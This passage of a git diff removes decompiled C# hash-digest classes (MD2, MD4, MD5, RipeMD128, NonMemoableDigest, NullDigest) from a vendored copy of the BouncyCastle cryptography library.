ProcessChecksum(M); - ProcessBlock(M); - length -= 16; - inOff += 16; - } - while (length > 0) - { - Update(input[inOff]); - inOff++; - length--; - } - } - - internal void ProcessChecksum(byte[] m) - { - int num = C[15]; - for (int i = 0; i < 16; i++) - { - byte[] c; - byte[] array = (c = C); - int num2 = i; - nint num3 = num2; - array[num2] = (byte)(c[num3] ^ S[(m[i] ^ num) & 0xFF]); - num = C[i]; - } - } - - internal void ProcessBlock(byte[] m) - { - for (int i = 0; i < 16; i++) - { - X[i + 16] = m[i]; - X[i + 32] = (byte)(m[i] ^ X[i]); - } - int num = 0; - for (int j = 0; j < 18; j++) - { - for (int k = 0; k < 48; k++) - { - byte[] x; - byte[] array = (x = X); - int num2 = k; - nint num3 = num2; - num = (array[num2] = (byte)(x[num3] ^ S[num])) & 0xFF; - } - num = (num + j) % 256; - } - } - - public IMemoable Copy() - { - return new MD2Digest(this); - } - - public void Reset(IMemoable other) - { - MD2Digest t = (MD2Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD4Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD4Digest.cs deleted file mode 100644 index f92b18c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD4Digest.cs +++ /dev/null @@ -1,222 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class MD4Digest : GeneralDigest -{ - private const int DigestLength = 16; - - private const int S11 = 3; - - private const int S12 = 7; - - private const int S13 = 11; - - private const int S14 = 19; - - private const int S21 = 3; - - private const int S22 = 5; - - private const int S23 = 9; - - private const int S24 = 13; - - private const int S31 = 3; - - private const int S32 = 9; - - private const int S33 = 11; - - private const int S34 = 15; - - private int H1; - - private int H2; - - private int H3; - - private int H4; - - private int[] X = new int[16]; - - private int xOff; - - public override string AlgorithmName => "MD4"; - - public MD4Digest() - { - Reset(); - } - - public MD4Digest(MD4Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(MD4Digest t) - { - CopyIn((GeneralDigest)t); - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - public override int GetDigestSize() - { - return 16; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff++] = (input[inOff] & 0xFF) | ((input[inOff + 1] & 0xFF) << 8) | ((input[inOff + 2] & 0xFF) << 16) | ((input[inOff + 3] & 0xFF) << 24); - if (xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - ProcessBlock(); - } - X[14] = (int)(bitLength & 0xFFFFFFFFu); - X[15] = (int)(bitLength >>> 32); - } - - private void UnpackWord(int word, byte[] outBytes, int outOff) - { - outBytes[outOff] = (byte)word; - outBytes[outOff + 1] = (byte)((uint)word >> 8); - outBytes[outOff + 2] = (byte)((uint)word >> 16); - outBytes[outOff + 3] = (byte)((uint)word >> 24); - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - UnpackWord(H1, output, outOff); - UnpackWord(H2, output, outOff + 4); - UnpackWord(H3, output, outOff + 8); - UnpackWord(H4, output, outOff + 12); - Reset(); - return 16; - } - - public override void Reset() - { - base.Reset(); - H1 = 1732584193; - H2 = -271733879; - H3 = -1732584194; - H4 = 271733878; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - private int RotateLeft(int x, int n) - { - return (x << n) | (x >>> 32 - n); - } - - private int F(int u, int v, int w) - { - return (u & v) | (~u & w); - } - - private int G(int u, int v, int w) - { - return (u & v) | (u & w) | (v & w); - } - - private int H(int u, int v, int w) - { - return u ^ v ^ w; - } - - internal override void ProcessBlock() - { - int h = H1; - int h2 = H2; - int h3 = H3; - int h4 = H4; - h = RotateLeft(h + F(h2, h3, h4) + X[0], 3); - h4 = RotateLeft(h4 + F(h, h2, h3) + X[1], 7); - h3 = RotateLeft(h3 + F(h4, h, h2) + X[2], 11); - h2 = RotateLeft(h2 + F(h3, h4, h) + X[3], 19); - h = RotateLeft(h + F(h2, h3, h4) + X[4], 3); - h4 = RotateLeft(h4 + F(h, h2, h3) + X[5], 7); - h3 = RotateLeft(h3 + F(h4, h, h2) + X[6], 11); - h2 = RotateLeft(h2 + F(h3, h4, h) + X[7], 19); - h = RotateLeft(h + F(h2, h3, h4) + X[8], 3); - h4 = RotateLeft(h4 + F(h, h2, h3) + X[9], 7); - h3 = RotateLeft(h3 + F(h4, h, h2) + X[10], 11); - h2 = RotateLeft(h2 + F(h3, h4, h) + X[11], 19); - h = RotateLeft(h + F(h2, h3, h4) + X[12], 3); - h4 = RotateLeft(h4 + F(h, h2, h3) + X[13], 7); - h3 = RotateLeft(h3 + F(h4, h, h2) + X[14], 11); - h2 = RotateLeft(h2 + F(h3, h4, h) + X[15], 19); - h = RotateLeft(h + G(h2, h3, h4) + X[0] + 1518500249, 3); - h4 = RotateLeft(h4 + G(h, h2, h3) + X[4] + 1518500249, 5); - h3 = RotateLeft(h3 + G(h4, h, h2) + X[8] + 1518500249, 9); - h2 = RotateLeft(h2 + G(h3, h4, h) + X[12] + 1518500249, 13); - h = RotateLeft(h + G(h2, h3, h4) + X[1] + 1518500249, 3); - h4 = RotateLeft(h4 + G(h, h2, h3) + X[5] + 1518500249, 5); - h3 = RotateLeft(h3 + G(h4, h, h2) + X[9] + 1518500249, 9); - h2 = RotateLeft(h2 + G(h3, h4, h) + X[13] + 1518500249, 13); - h = RotateLeft(h + G(h2, h3, h4) + X[2] + 1518500249, 3); - h4 = RotateLeft(h4 + G(h, h2, h3) + X[6] + 1518500249, 5); - h3 = RotateLeft(h3 + G(h4, h, h2) + X[10] + 1518500249, 9); - h2 = RotateLeft(h2 + G(h3, h4, h) + X[14] + 1518500249, 13); - h = RotateLeft(h + G(h2, h3, h4) + X[3] + 1518500249, 3); - h4 = RotateLeft(h4 + G(h, h2, h3) + X[7] + 1518500249, 5); - h3 = RotateLeft(h3 + G(h4, h, h2) + X[11] + 1518500249, 9); - h2 = RotateLeft(h2 + G(h3, h4, h) + X[15] + 1518500249, 13); - h = RotateLeft(h + H(h2, h3, h4) + X[0] + 1859775393, 3); - h4 = RotateLeft(h4 + H(h, h2, h3) + X[8] + 1859775393, 9); - h3 = RotateLeft(h3 + H(h4, h, h2) + X[4] + 1859775393, 11); - h2 = RotateLeft(h2 + H(h3, h4, h) + X[12] + 1859775393, 15); - h = RotateLeft(h + H(h2, h3, h4) + X[2] + 1859775393, 3); - h4 = RotateLeft(h4 + H(h, h2, h3) + X[10] + 1859775393, 9); - h3 = RotateLeft(h3 + H(h4, h, h2) + X[6] + 1859775393, 11); - h2 = RotateLeft(h2 + H(h3, h4, h) + X[14] + 1859775393, 15); - h = RotateLeft(h + H(h2, h3, h4) + X[1] + 1859775393, 3); - h4 = RotateLeft(h4 + H(h, h2, h3) + X[9] + 1859775393, 9); - h3 = RotateLeft(h3 + H(h4, h, h2) + X[5] + 1859775393, 11); - h2 = RotateLeft(h2 + H(h3, h4, h) + X[13] + 1859775393, 15); - h = RotateLeft(h + H(h2, h3, h4) + X[3] + 1859775393, 3); - h4 = RotateLeft(h4 + H(h, h2, h3) + X[11] + 1859775393, 9); - h3 = RotateLeft(h3 + H(h4, h, h2) + X[7] + 1859775393, 11); - h2 = RotateLeft(h2 + H(h3, h4, h) + X[15] + 1859775393, 15); - H1 += h; - H2 += h2; - H3 += h3; - H4 += h4; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - public override IMemoable Copy() - { - return new MD4Digest(this); - } - - public override void Reset(IMemoable other) - { - MD4Digest t = (MD4Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD5Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD5Digest.cs deleted file mode 100644 index e15d030..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/MD5Digest.cs +++ /dev/null @@ -1,248 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class MD5Digest : GeneralDigest -{ - private const int DigestLength = 16; - - private uint H1; - - private uint H2; - - private uint H3; - - private uint H4; - - private uint[] X = new uint[16]; - - private int xOff; - - private static readonly int S11 = 7; - - private static readonly int S12 = 12; - - private static readonly int S13 = 17; - - private static readonly int S14 = 22; - - private static readonly int S21 = 5; - - private static readonly int S22 = 9; - - private static readonly int S23 = 14; - - private static readonly int S24 = 20; - - private static readonly int S31 = 4; - - private static readonly int S32 = 11; - - private static readonly int S33 = 16; - - private static readonly int S34 = 23; - - private static readonly int S41 = 6; - - private static readonly int S42 = 10; - - private static readonly int S43 = 15; - - private static readonly int S44 = 21; - - public override string AlgorithmName => "MD5"; - - public MD5Digest() - { - Reset(); - } - - public MD5Digest(MD5Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(MD5Digest t) - { - CopyIn((GeneralDigest)t); - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - H4 = t.H4; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - public override int GetDigestSize() - { - return 16; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff] = Pack.LE_To_UInt32(input, inOff); - if (++xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - if (xOff == 15) - { - X[15] = 0u; - } - ProcessBlock(); - } - for (int i = xOff; i < 14; i++) - { - X[i] = 0u; - } - X[14] = (uint)bitLength; - X[15] = (uint)((ulong)bitLength >> 32); - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - Pack.UInt32_To_LE(H1, output, outOff); - Pack.UInt32_To_LE(H2, output, outOff + 4); - Pack.UInt32_To_LE(H3, output, outOff + 8); - Pack.UInt32_To_LE(H4, output, outOff + 12); - Reset(); - return 16; - } - - public override void Reset() - { - base.Reset(); - H1 = 1732584193u; - H2 = 4023233417u; - H3 = 2562383102u; - H4 = 271733878u; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0u; - } - } - - private static uint RotateLeft(uint x, int n) - { - return (x << n) | (x >> 32 - n); - } - - private static uint F(uint u, uint v, uint w) - { - return (u & v) | (~u & w); - } - - private static uint G(uint u, uint v, uint w) - { - return (u & w) | (v & ~w); - } - - private static uint H(uint u, uint v, uint w) - { - return u ^ v ^ w; - } - - private static uint K(uint u, uint v, uint w) - { - return v ^ (u | ~w); - } - - internal override void ProcessBlock() - { - uint h = H1; - uint h2 = H2; - uint h3 = H3; - uint h4 = H4; - h = RotateLeft(h + F(h2, h3, h4) + X[0] + 3614090360u, S11) + h2; - h4 = RotateLeft(h4 + F(h, h2, h3) + X[1] + 3905402710u, S12) + h; - h3 = RotateLeft(h3 + F(h4, h, h2) + X[2] + 606105819, S13) + h4; - h2 = RotateLeft(h2 + F(h3, h4, h) + X[3] + 3250441966u, S14) + h3; - h = RotateLeft(h + F(h2, h3, h4) + X[4] + 4118548399u, S11) + h2; - h4 = RotateLeft(h4 + F(h, h2, h3) + X[5] + 1200080426, S12) + h; - h3 = RotateLeft(h3 + F(h4, h, h2) + X[6] + 2821735955u, S13) + h4; - h2 = RotateLeft(h2 + F(h3, h4, h) + X[7] + 4249261313u, S14) + h3; - h = RotateLeft(h + F(h2, h3, h4) + X[8] + 1770035416, S11) + h2; - h4 = RotateLeft(h4 + F(h, h2, h3) + X[9] + 2336552879u, S12) + h; - h3 = RotateLeft(h3 + F(h4, h, h2) + X[10] + 4294925233u, S13) + h4; - h2 = RotateLeft(h2 + F(h3, h4, h) + X[11] + 2304563134u, S14) + h3; - h = RotateLeft(h + F(h2, h3, h4) + X[12] + 1804603682, S11) + h2; - h4 = RotateLeft(h4 + F(h, h2, h3) + X[13] + 4254626195u, S12) + h; - h3 = RotateLeft(h3 + F(h4, h, h2) + X[14] + 2792965006u, S13) + h4; - h2 = RotateLeft(h2 + F(h3, h4, h) + X[15] + 1236535329, S14) + h3; - h = RotateLeft(h + G(h2, h3, h4) + X[1] + 4129170786u, S21) + h2; - h4 = RotateLeft(h4 + G(h, h2, h3) + X[6] + 3225465664u, S22) + h; - h3 = RotateLeft(h3 + G(h4, h, h2) + X[11] + 643717713, S23) + h4; - h2 = RotateLeft(h2 + G(h3, h4, h) + X[0] + 3921069994u, S24) + h3; - h = RotateLeft(h + G(h2, h3, h4) + X[5] + 3593408605u, S21) + h2; - h4 = RotateLeft(h4 + G(h, h2, h3) + X[10] + 38016083, S22) + h; - h3 = RotateLeft(h3 + G(h4, h, h2) + X[15] + 3634488961u, S23) + h4; - h2 = RotateLeft(h2 + G(h3, h4, h) + X[4] + 3889429448u, S24) + h3; - h = RotateLeft(h + G(h2, h3, h4) + X[9] + 568446438, S21) + h2; - h4 = RotateLeft(h4 + G(h, h2, h3) + X[14] + 3275163606u, S22) + h; - h3 = RotateLeft(h3 + G(h4, h, h2) + X[3] + 4107603335u, S23) + h4; - h2 = RotateLeft(h2 + G(h3, h4, h) + X[8] + 1163531501, S24) + h3; - h = RotateLeft(h + G(h2, h3, h4) + X[13] + 2850285829u, S21) + h2; - h4 = RotateLeft(h4 + G(h, h2, h3) + X[2] + 4243563512u, S22) + h; - h3 = RotateLeft(h3 + G(h4, h, h2) + X[7] + 1735328473, S23) + h4; - h2 = RotateLeft(h2 + G(h3, h4, h) + X[12] + 2368359562u, S24) + h3; - h = RotateLeft(h + H(h2, h3, h4) + X[5] + 4294588738u, S31) + h2; - h4 = RotateLeft(h4 + H(h, h2, h3) + X[8] + 2272392833u, S32) + h; - h3 = RotateLeft(h3 + H(h4, h, h2) + X[11] + 1839030562, S33) + h4; - h2 = RotateLeft(h2 + H(h3, h4, h) + X[14] + 4259657740u, S34) + h3; - h = RotateLeft(h + H(h2, h3, h4) + X[1] + 2763975236u, S31) + h2; - h4 = RotateLeft(h4 + H(h, h2, h3) + X[4] + 1272893353, S32) + h; - h3 = RotateLeft(h3 + H(h4, h, h2) + X[7] + 4139469664u, S33) + h4; - h2 = RotateLeft(h2 + H(h3, h4, h) + X[10] + 3200236656u, S34) + h3; - h = RotateLeft(h + H(h2, h3, h4) + X[13] + 681279174, S31) + h2; - h4 = RotateLeft(h4 + H(h, h2, h3) + X[0] + 3936430074u, S32) + h; - h3 = RotateLeft(h3 + H(h4, h, h2) + X[3] + 3572445317u, S33) + h4; - h2 = RotateLeft(h2 + H(h3, h4, h) + X[6] + 76029189, S34) + h3; - h = RotateLeft(h + H(h2, h3, h4) + X[9] + 3654602809u, S31) + h2; - h4 = RotateLeft(h4 + H(h, h2, h3) + X[12] + 3873151461u, S32) + h; - h3 = RotateLeft(h3 + H(h4, h, h2) + X[15] + 530742520, S33) + h4; - h2 = RotateLeft(h2 + H(h3, h4, h) + X[2] + 3299628645u, S34) + h3; - h = RotateLeft(h + K(h2, h3, h4) + X[0] + 4096336452u, S41) + h2; - h4 = RotateLeft(h4 + K(h, h2, h3) + X[7] + 1126891415, S42) + h; - h3 = RotateLeft(h3 + K(h4, h, h2) + X[14] + 2878612391u, S43) + h4; - h2 = RotateLeft(h2 + K(h3, h4, h) + X[5] + 4237533241u, S44) + h3; - h = RotateLeft(h + K(h2, h3, h4) + X[12] + 1700485571, S41) + h2; - h4 = RotateLeft(h4 + K(h, h2, h3) + X[3] + 2399980690u, S42) + h; - h3 = RotateLeft(h3 + K(h4, h, h2) + X[10] + 4293915773u, S43) + h4; - h2 = RotateLeft(h2 + K(h3, h4, h) + X[1] + 2240044497u, S44) + h3; - h = RotateLeft(h + K(h2, h3, h4) + X[8] + 1873313359, S41) + h2; - h4 = RotateLeft(h4 + K(h, h2, h3) + X[15] + 4264355552u, S42) + h; - h3 = RotateLeft(h3 + K(h4, h, h2) + X[6] + 2734768916u, S43) + h4; - h2 = RotateLeft(h2 + K(h3, h4, h) + X[13] + 1309151649, S44) + h3; - h = RotateLeft(h + K(h2, h3, h4) + X[4] + 4149444226u, S41) + h2; - h4 = RotateLeft(h4 + K(h, h2, h3) + X[11] + 3174756917u, S42) + h; - h3 = RotateLeft(h3 + K(h4, h, h2) + X[2] + 718787259, S43) + h4; - h2 = RotateLeft(h2 + K(h3, h4, h) + X[9] + 3951481745u, S44) + h3; - H1 += h; - H2 += h2; - H3 += h3; - H4 += h4; - xOff = 0; - } - - public override IMemoable Copy() - { - return new MD5Digest(this); - } - - public override void Reset(IMemoable other) - { - MD5Digest t = (MD5Digest)other; - CopyIn(t); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/NonMemoableDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/NonMemoableDigest.cs deleted file mode 100644 index 71a4bf3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/NonMemoableDigest.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class NonMemoableDigest : IDigest -{ - protected readonly IDigest mBaseDigest; - - public virtual string AlgorithmName => mBaseDigest.AlgorithmName; - - public NonMemoableDigest(IDigest baseDigest) - { - if (baseDigest == null) - { - throw new ArgumentNullException("baseDigest"); - } - mBaseDigest = baseDigest; - } - - public virtual int GetDigestSize() - { - return mBaseDigest.GetDigestSize(); - } - - public virtual void Update(byte input) - { - mBaseDigest.Update(input); - } - - public virtual void BlockUpdate(byte[] input, int inOff, int len) - { - mBaseDigest.BlockUpdate(input, inOff, len); - } - - public virtual int DoFinal(byte[] output, int outOff) - { - return mBaseDigest.DoFinal(output, outOff); - } - - public virtual void Reset() - { - mBaseDigest.Reset(); - } - - public virtual int GetByteLength() - { - return mBaseDigest.GetByteLength(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/NullDigest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/NullDigest.cs deleted file mode 100644 index 6a4865a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/NullDigest.cs +++ /dev/null @@ -1,48 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class NullDigest : IDigest -{ - private readonly MemoryStream bOut = new MemoryStream(); - - public string AlgorithmName => "NULL"; - - public int GetByteLength() - { - return 0; - } - - public int GetDigestSize() - { - return (int)bOut.Length; - } - - public void Update(byte b) - { - bOut.WriteByte(b); - } - - public void BlockUpdate(byte[] inBytes, int inOff, int len) - { - bOut.Write(inBytes, inOff, len); - } - - public int DoFinal(byte[] outBytes, int outOff) - { - try - { - return Streams.WriteBufTo(bOut, outBytes, outOff); - } - finally - { - Reset(); - } - } - - public void Reset() - { - bOut.SetLength(0L); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD128Digest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD128Digest.cs deleted file mode 100644 index 36de3c7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Digests/RipeMD128Digest.cs +++ /dev/null @@ -1,328 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Digests; - -public class RipeMD128Digest : GeneralDigest -{ - private const int DigestLength = 16; - - private int H0; - - private int H1; - - private int H2; - - private int H3; - - private int[] X = new int[16]; - - private int xOff; - - public override string AlgorithmName => "RIPEMD128"; - - public RipeMD128Digest() - { - Reset(); - } - - public RipeMD128Digest(RipeMD128Digest t) - : base(t) - { - CopyIn(t); - } - - private void CopyIn(RipeMD128Digest t) - { - CopyIn((GeneralDigest)t); - H0 = t.H0; - H1 = t.H1; - H2 = t.H2; - H3 = t.H3; - Array.Copy(t.X, 0, X, 0, t.X.Length); - xOff = t.xOff; - } - - public override int GetDigestSize() - { - return 16; - } - - internal override void ProcessWord(byte[] input, int inOff) - { - X[xOff++] = (input[inOff] & 0xFF) | ((input[inOff + 1] & 0xFF) << 8) | ((input[inOff + 2] & 0xFF) << 16) | ((input[inOff + 3] & 0xFF) << 24); - if (xOff == 16) - { - ProcessBlock(); - } - } - - internal override void ProcessLength(long bitLength) - { - if (xOff > 14) - { - ProcessBlock(); - } - X[14] = (int)(bitLength & 0xFFFFFFFFu); - X[15] = (int)(bitLength >>> 32); - } - - private void UnpackWord(int word, byte[] outBytes, int outOff) - { - outBytes[outOff] = (byte)word; - outBytes[outOff + 1] = (byte)((uint)word >> 8); - outBytes[outOff + 2] = (byte)((uint)word >> 16); - outBytes[outOff + 3] = (byte)((uint)word >> 24); - } - - public override int DoFinal(byte[] output, int outOff) - { - Finish(); - UnpackWord(H0, output, outOff); - UnpackWord(H1, output, outOff + 4); - UnpackWord(H2, output, outOff + 8); - UnpackWord(H3, output, outOff + 12); - Reset(); - return 16; - } - - public override void Reset() - { - base.Reset(); - H0 = 1732584193; - H1 = -271733879; - H2 = -1732584194; - H3 = 271733878; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - private int RL(int x, int n) - { - return (x << n) | (x >>> 32 - n); - } - - private int F1(int x, int y, int z) - { - return x ^ y ^ z; - } - - private int F2(int x, int y, int z) - { - return (x & y) | (~x & z); - } - - private int F3(int x, int y, int z) - { - return (x | ~y) ^ z; - } - - private int F4(int x, int y, int z) - { - return (x & z) | (y & ~z); - } - - private int F1(int a, int b, int c, int d, int x, int s) - { - return RL(a + F1(b, c, d) + x, s); - } - - private int F2(int a, int b, int c, int d, int x, int s) - { - return RL(a + F2(b, c, d) + x + 1518500249, s); - } - - private int F3(int a, int b, int c, int d, int x, int s) - { - return RL(a + F3(b, c, d) + x + 1859775393, s); - } - - private int F4(int a, int b, int c, int d, int x, int s) - { - return RL(a + F4(b, c, d) + x + -1894007588, s); - } - - private int FF1(int a, int b, int c, int d, int x, int s) - { - return RL(a + F1(b, c, d) + x, s); - } - - private int FF2(int a, int b, int c, int d, int x, int s) - { - return RL(a + F2(b, c, d) + x + 1836072691, s); - } - - private int FF3(int a, int b, int c, int d, int x, int s) - { - return RL(a + F3(b, c, d) + x + 1548603684, s); - } - - private int FF4(int a, int b, int c, int d, int x, int s) - { - return RL(a + F4(b, c, d) + x + 1352829926, s); - } - - internal override void ProcessBlock() - { - int h; - int a = (h = H0); - int h2; - int num = (h2 = H1); - int h3; - int num2 = (h3 = H2); - int h4; - int num3 = (h4 = H3); - a = F1(a, num, num2, num3, X[0], 11); - num3 = F1(num3, a, num, num2, X[1], 14); - num2 = F1(num2, num3, a, num, X[2], 15); - num = F1(num, num2, num3, a, X[3], 12); - a = F1(a, num, num2, num3, X[4], 5); - num3 = F1(num3, a, num, num2, X[5], 8); - num2 = F1(num2, num3, a, num, X[6], 7); - num = F1(num, num2, num3, a, X[7], 9); - a = F1(a, num, num2, num3, X[8], 11); - num3 = F1(num3, a, num, num2, X[9], 13); - num2 = F1(num2, num3, a, num, X[10], 14); - num = F1(num, num2, num3, a, X[11], 15); - a = F1(a, num, num2, num3, X[12], 6); - num3 = F1(num3, a, num, num2, X[13], 7); - num2 = F1(num2, num3, a, num, X[14], 9); - num = F1(num, num2, num3, a, X[15], 8); - a = F2(a, num, num2, num3, X[7], 7); - num3 = F2(num3, a, num, num2, X[4], 6); - num2 = F2(num2, num3, a, num, X[13], 8); - num = F2(num, num2, num3, a, X[1], 13); - a = F2(a, num, num2, num3, X[10], 11); - num3 = F2(num3, a, num, num2, X[6], 9); - num2 = F2(num2, num3, a, num, X[15], 7); - num = F2(num, num2, num3, a, X[3], 15); - a = F2(a, num, num2, num3, X[12], 7); - num3 = F2(num3, a, num, num2, X[0], 12); - num2 = F2(num2, num3, a, num, X[9], 15); - num = F2(num, num2, num3, a, X[5], 9); - a = F2(a, num, num2, num3, X[2], 11); - num3 = F2(num3, a, num, num2, X[14], 7); - num2 = F2(num2, num3, a, num, X[11], 13); - num = F2(num, num2, num3, a, X[8], 12); - a = F3(a, num, num2, num3, X[3], 11); - num3 = F3(num3, a, num, num2, X[10], 13); - num2 = F3(num2, num3, a, num, X[14], 6); - num = F3(num, num2, num3, a, X[4], 7); - a = F3(a, num, num2, num3, X[9], 14); - num3 = F3(num3, a, num, num2, X[15], 9); - num2 = F3(num2, num3, a, num, X[8], 13); - num = F3(num, num2, num3, a, X[1], 15); - a = F3(a, num, num2, num3, X[2], 14); - num3 = F3(num3, a, num, num2, X[7], 8); - num2 = F3(num2, num3, a, num, X[0], 13); - num = F3(num, num2, num3, a, X[6], 6); - a = F3(a, num, num2, num3, X[13], 5); - num3 = F3(num3, a, num, num2, X[11], 12); - num2 = F3(num2, num3, a, num, X[5], 7); - num = F3(num, num2, num3, a, X[12], 5); - a = F4(a, num, num2, num3, X[1], 11); - num3 = F4(num3, a, num, num2, X[9], 12); - num2 = F4(num2, num3, a, num, X[11], 14); - num = F4(num, num2, num3, a, X[10], 15); - a = F4(a, num, num2, num3, X[0], 14); - num3 = F4(num3, a, num, num2, X[8], 15); - num2 = F4(num2, num3, a, num, X[12], 9); - num = F4(num, num2, num3, a, X[4], 8); - a = F4(a, num, num2, num3, X[13], 9); - num3 = F4(num3, a, num, num2, X[3], 14); - num2 = F4(num2, num3, a, num, X[7], 5); - num = F4(num, num2, num3, a, X[15], 6); - a = F4(a, num, num2, num3, X[14], 8); - num3 = F4(num3, a, num, num2, X[5], 6); - num2 = F4(num2, num3, a, num, X[6], 5); - num = F4(num, num2, num3, a, X[2], 12); - h = FF4(h, h2, h3, h4, X[5], 8); - h4 = FF4(h4, h, h2, h3, X[14], 9); - h3 = FF4(h3, h4, h, h2, X[7], 9); - h2 = FF4(h2, h3, h4, h, X[0], 11); - h = FF4(h, h2, h3, h4, X[9], 13); - h4 = FF4(h4, h, h2, h3, X[2], 15); - h3 = FF4(h3, h4, h, h2, X[11], 15); - h2 = FF4(h2, h3, h4, h, X[4], 5); - h = FF4(h, h2, h3, h4, X[13], 7); - h4 = FF4(h4, h, h2, h3, X[6], 7); - h3 = FF4(h3, h4, h, h2, X[15], 8); - h2 = FF4(h2, h3, h4, h, X[8], 11); - h = FF4(h, h2, h3, h4, X[1], 14); - h4 = FF4(h4, h, h2, h3, X[10], 14); - h3 = FF4(h3, h4, h, h2, X[3], 12); - h2 = FF4(h2, h3, h4, h, X[12], 6); - h = FF3(h, h2, h3, h4, X[6], 9); - h4 = FF3(h4, h, h2, h3, X[11], 13); - h3 = FF3(h3, h4, h, h2, X[3], 15); - h2 = FF3(h2, h3, h4, h, X[7], 7); - h = FF3(h, h2, h3, h4, X[0], 12); - h4 = FF3(h4, h, h2, h3, X[13], 8); - h3 = FF3(h3, h4, h, h2, X[5], 9); - h2 = FF3(h2, h3, h4, h, X[10], 11); - h = FF3(h, h2, h3, h4, X[14], 7); - h4 = FF3(h4, h, h2, h3, X[15], 7); - h3 = FF3(h3, h4, h, h2, X[8], 12); - h2 = FF3(h2, h3, h4, h, X[12], 7); - h = FF3(h, h2, h3, h4, X[4], 6); - h4 = FF3(h4, h, h2, h3, X[9], 15); - h3 = FF3(h3, h4, h, h2, X[1], 13); - h2 = FF3(h2, h3, h4, h, X[2], 11); - h = FF2(h, h2, h3, h4, X[15], 9); - h4 = FF2(h4, h, h2, h3, X[5], 7); - h3 = FF2(h3, h4, h, h2, X[1], 15); - h2 = FF2(h2, h3, h4, h, X[3], 11); - h = FF2(h, h2, h3, h4, X[7], 8); - h4 = FF2(h4, h, h2, h3, X[14], 6); - h3 = FF2(h3, h4, h, h2, X[6], 6); - h2 = FF2(h2, h3, h4, h, X[9], 14); - h = FF2(h, h2, h3, h4, X[11], 12); - h4 = FF2(h4, h, h2, h3, X[8], 13); - h3 = FF2(h3, h4, h, h2, X[12], 5); - h2 = FF2(h2, h3, h4, h, X[2], 14); - h = FF2(h, h2, h3, h4, X[10], 13); - h4 = FF2(h4, h, h2, h3, X[0], 13); - h3 = FF2(h3, h4, h, h2, X[4], 7); - h2 = FF2(h2, h3, h4, h, X[13], 5); - h = FF1(h, h2, h3, h4, X[8], 15); - h4 = FF1(h4, h, h2, h3, X[6], 5); - h3 = FF1(h3, h4, h, h2, X[4], 8); - h2 = FF1(h2, h3, h4, h, X[1], 11); - h = FF1(h, h2, h3, h4, X[3], 14); - h4 = FF1(h4, h, h2, h3, X[11], 14); - h3 = FF1(h3, h4, h, h2, X[15], 6); - h2 = FF1(h2, h3, h4, h, X[0], 14); - h = FF1(h, h2, h3, h4, X[5], 6); - h4 = FF1(h4, h, h2, h3, X[12], 9); - h3 = FF1(h3, h4, h, h2, X[2], 12); - h2 = FF1(h2, h3, h4, h, X[13], 9); - h = FF1(h, h2, h3, h4, X[9], 12); - h4 = FF1(h4, h, h2, h3, X[7], 5); - h3 = FF1(h3, h4, h, h2, X[10], 15); - h2 = FF1(h2, h3, h4, h, X[14], 8); - h4 += num2 + H1; - H1 = H2 + num3 + h; - H2 = H3 + a + h2; - H3 = H0 + num + h3; - H0 = h4; - xOff = 0; - for (int i = 0; i != X.Length; i++) - { - X[i] = 0; - } - } - - public override IMemoable Copy() - { - return new RipeMD128Digest(this); - } - - public override void Reset(IMemoable other) - { - RipeMD128Digest t = (RipeMD128Digest)other; - CopyIn(t); - } -} diff --git 